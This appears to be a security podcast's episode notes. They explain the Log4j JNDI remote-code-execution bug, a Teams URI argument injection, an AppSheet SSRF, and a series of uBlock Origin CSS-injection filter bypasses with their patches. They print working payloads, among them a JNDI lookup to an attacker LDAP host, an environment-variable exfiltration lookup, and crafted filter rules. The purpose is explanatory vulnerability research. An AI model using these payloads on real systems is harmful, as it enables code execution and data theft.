107 - Log4j RCE coming to a service near you and uBlock CSS Injection
If you log untrusted data using log4j…you might have an RCE. I wasn’t able to find a good root cause of this bug but the issue itself is pretty readily understood. When logging messages using the log4j library variable expansion and lookups would be performed across both the formatting strings (expected) and the arguments/data itself (unexpected). I think this behaviour is the most surprising issue, so the one that I would put some blame on to avoid, since there is some degree of expectation that arguments are not special and shouldn’t be processed as if trusted by default.
With this setup, attempting to log untrusted data could cause lookup to happen, this is especially dangerous thanks to JNDI (Java Naming and Directory Interface). JNDI injections have been known about as an attack class before. By logging a message containing a jndi lookup it is possible to gain code execution. The simpliest of which would be something like ${jndi:ldap://example.com/attacker_class}
would result in a LDAP query, to which you can respond with a class to be executed.
This attack doesn’t work on the most recent versions of the Java runtime, instead needing to rely on a slightly more complicated attack strategy. Such attacks are documented by Veracode on their article about Exploiting JNDI Injections in Java. Essentially going from a direct code execution to more of a deserialization attack, needing an initial factory gadget to already exist in the classpath. That said, even without code execution, this can still be used to exfiltrate information such as environment variables ${env:var_here}
using them in the hostname of the server to query.
Patching: There were two main patches that I noted in the commit log, first was not performing these lookups across the data by default, secondly being to limit the protocols JNDI lookups can access by default. If you have an application using log4j, updating is your best bet, you can also remove the jndi lookup class as a bandaid patch. I would not try to rely on any sort of WAF enforced rule to protect here (nor should you ever) as you can nest these lookups and obfuscate the payload quite easily by having lookups returning each letter (or lookups to lookups…) and eventually work around most WAF based solutions.
There is an argument injection within the ms-officemd
URI scheme (available by default on WIndows 10 and 11) used by MS Office applications to launch other Office apps. By targeting the MS Teams Electron application one could leverage the --gpu-launcher
argument for arbitrary command injection without any hassle.
Server-Side Request Forgery (SSRF) in the AppSheet product, an acquisition by Google which is a “no-code” application generator. One feature is that a web-hook can be executed in respond to supported events. The SSRF was simply using these feature to hit the metadata service.
The author did include a bit of research regarding changing the request type from the POST/DELETE/PATCH options used by the application to the expected GET request the metadata service used, but this step was not necessary as it would have responded regardless.
This was fixed by blocking access to the older Metadata service deployment which could be accessed without a security header, and by blocking the Metadata-Flavor
header from being added as a custom header for the webhook. As the X-Google-Metadata-Request
header could still be added, this was bypassed by the author.
Its starts off with Oramandy’s CSS Injection.
example.com##div:style(--foo: 1/*)
example.com##div[bar="*/;background-image: url(https://google.com);}/*"]
Just open a comment in one rule, close it in the next, resulting in the next content being in the global CSS context or whatever you want to call it.
This was patched here by adding a check into compileStyleProperties
which operates on :style(...)
properties to look for the opening of a comment and disallow it.
Leading to the first bypass, to open a comment without using :style(...)
##input,input/*
##input[x="*/{}*{background-color:red;}"]
This one opens the comment in the selector, once again leading to injecting CSS in the global context.
The patch for this one appears to have been this here. The goal as I understand it being that rather than trying to detect certain CSS selectors, use an actual stylesheet to validate that a filter can be injected in a declaritive way. So the global impact of the dangling comment will be caught.
After this focus shifted to “cosmetic rules” which allow declaring actual CSS styles but with limitions to avoid exfiltrating data, such as using url(...)
. Leading to the following injection in cosmetic filters:
*#$#* /* { font-family: ' background-color:red;'; }
*#$#* /*/ {background:url(/abc)} */ { font-family: ' background-color:red;'; }
This one was the one I really struggled to figure out. The article just indicates:
This works because document.querySelector tolerates malformed selectors:
Which honestly doesn’t help. In part because it wasn’t indicates what it was doing with this information or how it was parsing selectors to check, and partially because of my own misreading. The prior and next examples all used background-color:red
as the important injection, so I assumed that was the case here. The issue here is the injection of the background:url(...)
which of course cosmetic filters try to block. Probably would have been more obvious on my part had I just looked for the first close comment.
uBlock in the first rule see the selector * /*
as valid when it runs it against querySelector(...)
, but of course in an actual CSS document, such a rule would create a comment. In the second rule, its parser things the sensitive call to url(...)
is in a comment, and so lets it through. When injected into a style sheet closes the previously opened comment, injecting a url(...)
and other arbitrary CSS.
Its a cool trick given a bit more understanding about what uBlock is doing. This was quickly patched by disallowing the use of /*
in anything going to querySelector
with this commit.
The last injection of the bunch, was also the most novel as it avoided using comments at all. After spending some time fuzzing CSS to understand the allowed CSS syntax he discovered that inside a selector you can use curly braces, and if there is no closing curly brace a semicolon won’t result in starting a new rule.
*#$#* {background:url(/abc);x{ background-color: red;}
Understanding this one, is helps to also look at the patch to understand what uBlock was doing with this.
Previously, uBlock would attempt to insert the parsed selector into the stylesheet, and just set its color to red. Then testing that a a cssRule
was successfully added by checking if .length
is 0, if so, it failed meaning the selector was invalid.
The patch turns that around, checks that the .length
is not 1, meaning it either failed, or it unexpectedly added multiple rules. Which is the case in this injection. uBlock thinks the * {background:url(/abc);x{
is a selector, but it actually contains an entirely valid CSS decelarion within it that doesn’t get tested for the usual security constraints as it is not a rule, but a selector. I think a big take away on that one is around the assumed failure state, rather than testing for the known success state.
The last bypass of the article was that on Firefox one could use image-set(...)
instead of url(...)
to make requests without being blocked by uBlock. There is a -webkit-image-set(...)
option for Chrome, but it required using url(...)
so it was not an effective bypass there.
There is more in the article about actually exfiltrating data using CSS injection. He builds on research by several others and includes links to those other’s works at this point, making this quite a useful resource if you’re in a CSS injection situation and need some ideas on abusing it.